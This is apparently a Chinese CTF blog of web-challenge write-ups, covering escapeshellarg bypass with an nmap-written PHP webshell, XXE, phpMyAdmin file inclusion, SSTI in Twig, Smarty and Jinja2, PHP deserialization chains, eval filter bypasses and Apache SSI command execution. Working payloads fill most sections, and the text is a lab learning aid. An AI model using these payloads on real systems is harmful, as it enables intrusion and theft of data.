echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);//创建目录
chdir($sandbox);//改变当前的目录
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

HTTP_X_FORWARDED_FOR HTTP扩展头部,用来表示http请求端真实ip

REMOTE_ADDR代表客户端的IP,但它的值不是由客户端提供的,而是服务端根据客户端的ip指定的,当你的浏览器访问某个网站时,假设中间没有任何代理,那么网站的web服务器(Nginx,Apache等)就会把remote_addr设为你的机器IP,如果你用了某个代理,那么你的浏览器会先访问这个代理,然后再由这个代理转发到网站,这样web服务器就会把remote_addr设为这台代理机器的IP。

本题主要考察的是escapeshellarg和escapeshellcmd这两个函数

  • escapeshellarg:对传入的字符串用一对单引号包围,将内容的’先用反斜杠转义,再添加一对单引号包围,即单引号会被转义为’'‘
  • escapeshellcmd:对\以及最后那个不配对儿的引号进行转义
1
2
3
4
传入的参数是172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST数据为a=1'。

两次转义后出现了问题,没有考虑到单引号的问题
再往下看,看到echo system(“nmap -T5 -sT -Pn –host-timeout 2 -F “.$host);
这里有个system来执行命令,而且有传参,肯定是利用这里了

这里代码的本意是希望我们输入ip这样的参数做一个扫描,通过上面的两个函数来进行规则过滤转义,我们的输入会被单引号引起来,但是因为我们看到了上面的漏洞所以我们可以逃脱这个引号的束缚

在nmap命令中,有一个参数-oG可以实现将命令和结果写到文件,这个命令就是我们的输入可控,然后写入到文件,传入一句话木马
注意引号加空格,不加空格会将语句转义。

1
?host=' <?php @eval($_POST["a"]);?> -oG 1.php '

进入MD5目录下的1.php

开始RCE

1
2
3
4
POST:
a=system('ls');
a=system('ls /');
a=system('cat /flag');

这里有两个小问题

首先是后面没有加引号

1
?host=' <?php @eval($_POST["a"]);?> -oG 1.php

先经过escapeshellarg()函数处理,该函数会先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

1
?host=''\'' <?php @eval($_POST["a"]);?> -oG 1.php'

再经过escapeshellcmd()函数处理,escapeshellcmd对\以及最后那个不配对儿的引号进行了转义,转义命令中的所有shell元字符来完成工作。这些元字符包括:#&;`,|*?~<>^()[]{}$\\。

1
?host=''\'' \<\?php @eval\($_POST\["a"\]\)\;\?\> -oG 1.php\'

返回结果是上面那样文件名后面会多一个引号1.php’

第二个是加引号但引号前没有空格

1
?host=' <?php @eval($_POST["a"]);?> -oG 1.php'

运行结果如下

1
''\\'' \<\?php @eval\($_POST\["a"\]\)\;\?\> -oG 1.php'\\'''

文件名后面就会多出\\ 1.php\\
PHP escapeshellarg()+escapeshellcmd() 之殇

[NCTF2019]Fake XML cookbook

先尝试sql注入,行不通
看看源码

找到一个php文件
还有
contentType: "application/xml;charset=utf-8",
进入doLogin.php

发现都指向xml
那么xml有个xxe漏洞,抓包看能否利用一下,构建一个恶意的外部实体
payload

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>


可行,看能不能直接读取flag
payload

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123456</password></user>

传送门===>浅谈XML实体注入漏洞

[GWCTF 2019]我有一个数据库


整了个这么个界面,有点迷糊,抓包源码都没获得有效的信息
用dirsearch扫扫,扫到了robots.txt,里面提示了个phpinfo.php,还是没有找到有效的信息
再往后继续扫到了phpmyadmin,进入查看,数据库里一大堆内容根本懒得看

查阅到4.8.0 <= phpMyAdmin < 4.8.2版本的phpmyadmin都是有文件包含漏洞
漏洞复现
例如传入

1
?target=db_datadict.php%253f

由于服务器会自动解码一次,所以在checkPageValidity()中,$page的值一开始会是db_datadict.php%3f,又一次url解码后变成了db_datadict.php?,这便符合了?前内容在白名单的要求,函数返回true但在index.php中$_REQUEST[‘target’]仍然是db_datadict.php%3f,而且会被include,通过目录穿越,就可造成任意文件包含

漏洞原理是:
利用/使db_datadict.php?成为一个不存在目录,利用include函数的目录不断跳转尝试得到flag目录。

1
2
3
%25的url编码为%
%3f的url编码为?
%253f-->?

payload

1
?target=db_sql.php%253f/../../../../../../etc/passwd


可以成功执行,获取到了passwd文件的内容,尝试查找flag
payload

1
?target=db_sql.php%253f/../../../../../../flag

BJDCTF2020 Mark loves cat

查看源码以及抓包,没有找到有用的信息
尝试dirsearch扫描,发现存在.git泄露
那么直接用git_hack扫出文件
在index.php文件中找出php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

/*include 'flag.php';*/
highlight_file(__FILE__);
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}

exit和die一样,都是输出一条信息后退出当前脚本
上面的代码中最重要的两块代码

1
2
3
4
5
6
7
8
9
foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

利用一下,先解释一下可变变量:
如果一个变量保存的值刚好是另外一个变量的名字,那么可以直接通过访问一个变量得到另外一个变量的值:在变量之前再多加一个$符号
例:

1
2
3
4
5
$a='b';
$b='bbbb';
echo $$a;
//输出bbbb
$$a->$b

简单理解为$$a相当于$($a)
再对上面的代码进行解读

1
2
3
foreach($_GET as $x => $y){
$$x = $$y;
}

比如GET输入a=flag
那么$x=a,$y=flag
$$x = $$y所以$a=$flag,配合exit这样就可以输入$flag的值了
构造payload

1
?handsome=flag&x=flag&flag=x

handsome=flag不用说 就是让$handsome=$flag
后面的目的就是让我们传入的变量是 flag 值不是flag 进而能够exit handsome
这里的值表面是 x 但前面我们进行了变量覆盖使得 x=flag 所以在这里我们输出x的值就是flag的值

[WUSTCTF2020]朴实无华

看到这种没有很多描述的题直接掏出dirsearch
扫出robots.txt
里面提示了fAke_f1agggg.php
进入查看,不出意料
哪哪都看一看
找到一个

很难绷

探索到一个新功能🙂

转化之后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

好受多了,现在也容易了
直接payload

1
2
3
4
?num=3e4&md5=0e215962017&get_flag=ls
//404.html fAke_f1agggg.php fl4g.php fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag img.jpg index.php robots.txt
?num=3e4&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
//flag{0a4bf020-4cfd-4519-ac84-0481a8b786a2}

输入admin试试
回显admin
找到源代码

看看能不能x一下

被html转为实体字符了,不能x
hint中有提醒Why not take a closer look at cookies?
抓包看看
有两个包,第二个包cookie中user可以改变页面回显
那就抓到第二个包
本题的知识点是利用服务器模板注入攻击,SSTI里面的Twig攻击
判断模板注入类型的方法

输入49,返回49表示是Twig模块
输入49,返回7777777表示是jinja2模块
在cookie处进行判断
user=49,查看返回值

判断为Twig注入
由于是Twig注入,所以有国定的payload

1
2
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag



Twig模板注入从零到一

[安洵杯 2019]easy_web

url有点奇怪

cmd随便输入123
有回显,执行一下命令
echo%201,forbid ~
被禁止了
再看img,有点像base64编码过的,base64解码一下

更像base64编码过的了
再来一下

16进制解码试试

路子都知道了
在img里上传一个index.php试试
同样的方法再编码

1
2
3
4
5
6
7
index.php
//to HEX
696e6465782e706870
//to Base64
Njk2ZTY0NjU3ODJlNzA2ODcw
//to Base64
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3


base64编码转图片
下载下来后用记事本打开,php源码就找出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>

重点是下面的代码

1
2
3
4
5
6
7
8
9
10
11
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

下面的MD5可以用MD5强碰撞来绕过

1
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

反引号为system
ls&cat被禁用?
没关系
反斜杠绕过

1
2
3
cmd=l\s
cmd=l\s%20/
cmd=ca\t%20/flag

强碰撞不建议用hackbar,用burp

[MRCTF2020]Ezpop

先上源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 <?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

一共三个类

1
2
3
Modifier
Show
Test

先分析Modifier类

1
2
3
4
5
6
7
8
9
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

定义一个append函数
有个include,我们可以用伪协议来获得flag.php的内容,而include需要__invoke方法来调用,__invoke触发方法为:当尝试以调用函数的方式调用一个对象时,方法会被自动调用。。

再来分析Show类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

先看__toString方法,是个输出点

最后分析Test类

1
2
3
4
5
6
7
8
9
10
11
class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

__get()方法,(当访问类中的私有属性或者是不存在的属性,触发__get魔术方法),而Modifier类中有私有属性,这两个类配合一下

思路:
首先使

1
$var=php://filter/read=convert.base64-encode/resource=flag.php

由于protect被保护的变量类外部无法访问,所以在类里面定义
然后使用Test类里的__get方法调用Modifier类中的__invoke方法,使$p这个变量为Modifier这个对象就可以调用__invoke方法,最后使用Show这个类里的__toString方法输出被包含的flag
使用Test类中的__Get方法调用Modifier类中的__invoke方法很简单
使Test->p=new Modifier();
Show中__wakeup方法 ,preg_match对类中的source进行比较,将它作为字符串,所以就调用了__toString方法
__toString是在对象被当成字符串的时候调用
所以这里我们需要使Show->source = new Show();
即可调用__toString方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show
{
public $source;
public $str;

public function __construct($file = "index.php")
{
$this->source = $file;
echo 'Welcome to ' . $this->source . "<br>";
}

public function __toString()
{

return $this->str->source;
}

public function __wakeup()
{
if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}

}
$a = new Modifier();
$b = new Show();
$c = new Test();
$c->p = $a;
$b->source = new Show();
$b->source->str = $c;
echo serialize($b);

[MRCTF2020]PYWebsite


这里的buy it now 是有超链接的
微信扫一扫先

拜托!你不会真的想PY到flag吧,这样可是违规的!再好好分析一下界面代码吧
好吧,另辟蹊径
回到主页面,审计源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}

}

这里有个flag.php,看看能不能直接查看

重点是这一句话:
验证逻辑是在后端的,除了购买者和我自己,没有人可以看到flag
除了购买者和我自己?
伪造IP试试


源代码中查看flag

[ASIS 2019]Unicorn shop


看到给的历史输入,还以为是sql注入,注入了半天毛都没有
看看源码👀

这里提示<meta charset="utf-8">非常重要
但是很多的网站都是utf-8编码,为什么会说这里很重要?
回到购买界面,我们输入其他的价格,发现输入10的时候有提示

只能输入一个字符
一个字符能够购买的就只有前三只独角兽,但是都没有购买成功,想必突破点在第四只独角兽上,先找到一个比1337大的数
当什么都不输入直接购买时会出现以下提示

看一下 unicodedata.numeric这个函数,他的参数是price
前端html使用的是utf-8,后端python处理使用的是unicode,编码不一致造成了转码问题


传入万试试

flag成功回显
如果不想用万的话可以去找一个Unicode编码网站
传送门
例如输入ten thousand


找到一个Numeric Value大于等于10000的数值
直接复制上面的特殊符号或者下面的UTF-8 Encoding
找到UTF-8 Encoding:0xE1 0x8D 0xBC
将0x替换成%

购买得到flag

[WesternCTF2018]shrine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import flask
import os

app = flask.Flask(__name__)#创建Flask应用实例、初始化Flask应用

app.config['FLAG'] = os.environ.pop('FLAG')#从环境变量中获取名为'FLAG'的值,然后将其存储在Flask应用的配置中


@app.route('/')#定义根路由'/'
def index():
return open(__file__).read()#返回当前文件的内容


@app.route('/shrine/<path:shrine>')#定义路由 /shrine/<path:shrine>,使用 Jinja2 模板渲染路径参数:
def shrine(shrine):#当访问 /shrine/<path:shrine> 路径时,会调用 shrine 函数

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

首先在shrine路径下测试ssti能否正常执行

1
/shrine/{{2*6}}

1
2
3
4
5
6
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))

再来分析这段代码
这段代码使用了一个黑名单blacklist,其中包含了要在传入的字符串s中被替换的一些字符串(在这里config和self)。对于每个黑名单的字符串c,它都会生成一个jinja2模板语法的字符串{{% set c=None %}},然后将这些字符串连接到原始的字符串s之后
python还有一些内置函数比如url_for和get_flashed_messages
payload

1
/shrine/{{url_for.__globals__}}//返回视图函数的url,对对象的全局命名空间的访问


payload

1
2
3
//current_app 允许你获取当前应用的一些属性和配置信息
/shrine/{{url_for.__globals__['current_app'].config}}
->获取flag

config不是被列为黑名单了嘛???
假设shrine为/shrine/{{url_for.__globals__['current_app'].config}}
然后传递给safe_jinja函数,在这个情况下,blacklist包含了config,所以生成的jinja2模板字符串如下

1
{{% set config=None %}}/shrine/{{url_for.__globals__['current_app'].config}}

这个字符串中的{{% set config=None %}}部分是为了尝试设置config变量为None,但由于Jinja2的语法,这个设置操作在字符串中仅仅是一个字符串的一部分,而不会真正地执行。

因此,尽管看起来好像config被设置为None,实际上Jinja2只是把这部分当作普通的文本对待,并没有执行它。因此,在渲染模板时,config的值仍然是url_for.__globals__['current_app'].config,而没有被设置为None

[NPUCTF2020]ReadlezPHP

检索源代码

找到一个php文件,进去康康

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

没啥好分析的,直接赋值序列化

1
2
3
4
$c->b='assert';
$c->a="phpinfo()";
echo serialize($c);
//O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

在对象被销毁时,__destruct会被调用
也就是

1
echo assert("phpinfo()");

assert与eval的功能基本相同,但不需要后面加;
还有参数source不能出现,不然die(0)会直接结束脚本
payload

1
?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}


详细–>eval与assert<–

[CISCN2019 华东南赛区]Web11


检索页面发现有个显示ip的地方
先康康能不能xff伪造下ip

这时看到最下面显示
Build With Smarty !
Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示(HTML/CSS)代码分离的功能。该框架出现过SSTI漏洞
ssti先上一张图

测试a{*comment*}b

按照正常逻辑,应该用php语言去查找flag。一般情况下输入{$smarty.version}就可以看到返回的smarty的版本号。该题目的Smarty版本是3.1.30

在Smarty3的官方手册里有以下描述:
Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。所以只能另找方法
{if}标签
官方文档中看到这样的描述:
smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}也可以使用{else}和{elseif}.全部的PHP条件表达式和函数都可以在if内使用,如||*,or,&&,and,is_array(),等等。。。所以也可以使用{if show_source("/flag")}{/if}来获得flag

或是

1
{if system('cat flag')}{/if}

在前面的模板图中我们还可以使用另一种方法
xff中输入

1
{{7*7}}


再输入

1
{{7*'7'}}

回显为49
确定为twig模板
RCE

1
2
3
4
{{system('ls')}}
//css index.php smarty templates_c xff
{{system('ls /')}}
{{system('cat /flag')}}

flag在源码中👀

[CISCN 2019 初赛]Love Math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

很有意思的题,照着答案+chat分析了很久,长见识了😊

1
2
3
if (strlen($content) >= 80) {
die("太长了不会算");
}

这个直接过,一般不会超过80个字符的

1
2
3
4
5
6
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}

给了个黑名单先不管

1
2
3
4
5
6
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}

又给了个白名单,if里的意思为得有白名单里的函数

1
$used_funcs[0] as $func

太抽象了,先理解为检索白名单
一个知识点是php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数。
理想中的传参是

1
?c=($_GET[a])($_GET[b])&a=system&b=cat /flag

但是这里的a,b都不是白名单里的,这里替换一下

1
?c=($_GET[pi])($_GET[abs])&pi=system&abs=cat /flag

这里的_GET是无法进行直接替换,而且[]也被黑名单过滤了
看看白名单有什么可以用的函数
hex2bin()函数
hex2bin()函数把十六进制值的字符串转换为ASCii字符
把_GET转化为十六进制

hex2bin(5f 47 45 54)就是_GET,但是hex2bin()函数也不是白名单里面的,而且这里的5f 47 45 54也不能直接填入,这里会被

1
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  

来进行白名单的检测
这里的hex2bin()函数可以通过base_convert()函数来进行转换
base_convert()函数能够在任意进制之间转换数字
base_convert(37907361743,10,36)等于hex2bin(别问为什么是36进制,问就是这么转换会等于hex2bin😊)

里面的5f 47 45 54要用dechex()函数将10进制转换为16进制的数
dechex(1598506324),1598506324转换为16进制就是5f 47 45 54

payload

1
/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag


flag出来了,再详细分析下
从前往后

base_convert(37907361743,10,36)->hex2bin

dechex(1598506324)->5f 47 45 54

$pi=hex2bin(5f 47 45 54)->$pi=_GET

管道符;连接

($$pi){pi}(($$pi){abs})

($_GET){pi}(($_GET){abs})

这个表达式实际上会尝试执行$_GET(pi)($_GET(abs))

所以此时c的值为c=_GET$_GET(pi)($_GET(abs))

后面有对pi和abs赋值,带入

c=system(cat /flag)

[BSidesCF 2019]Futurella

好简单,就藏在源代码里

[BSidesCF 2019]Kookie

并不是sql注入和xss
一定要注意题目给的提示
输入username和password,可以看到是以GET方式发送的
获取关键词cookie
尝试用cookie登录

&password=123多余了
去掉试试

[BJDCTF2020]EasySearch

sql注不出来,查看源码也没有什么有效的信息
用dirsearch扫一扫
没有扫出什么东西,可能是我的dirsearch太低级了
看了下别人的博客,dirsearch扫出了index.php.swp
找到了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>
1
if ( $admin == substr(md5($_POST['password']),0,6))

没有绕过方法,写一个python脚本

1
2
3
4
5
6
7
8
9
10
import hashlib

def crack(pre):
for i in range(0, 9999999):
if (hashlib.md5(str(i).encode("UTF-8")).hexdigest())[0:6] == str(pre):
print(i)
break


crack("6d0bc1")

得出为2020666
输入

1
password=2020666&username=admin

页面发出警告说明已经通过

1
2
3
4
5
6
7
8
9
10
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);

这里的get_hash()值是不可能求出来的,只能找出来,再在页面上找找


看到client ip就想xff一下,可惜x不了
这题的思路是利用”Apache SSI远程命令执行漏洞”
Apache SSI 远程命令执行漏洞复现
页面回显了username,password不能动
看到.shtml后缀,我们就可以利用一下
当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd="id" -->语法执行命令。
payload

1
username=<!--#exec cmd="ls" -->&password=2020666

进入新生成的url查看

这么多的链接,要试到猴年马月
去根目录看看
payload

1
username=<!--#exec cmd="ls /" -->&password=2020666


没有,那上一级看看
payload

1
username=<!--#exec cmd="ls ../" -->&password=2020666


看到位置直接cat
payload

1
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->&password=2020666

[极客大挑战 2019]RCE ME

这题源码非常简单,就是要绕过正则表达式来执行命令,不能使用换行符来绕过,要使用php异或操作即可绕过或通过url编码绕过,取反绕过
但是。。。
还是没有这么简单,本题主要内容是disable_function禁用了大量的函数导致shell上传成功但无法使用的情况出现使得难度大大提高
先取反绕过
取反操作如下

1
2
3
4
5
6
7
<?php
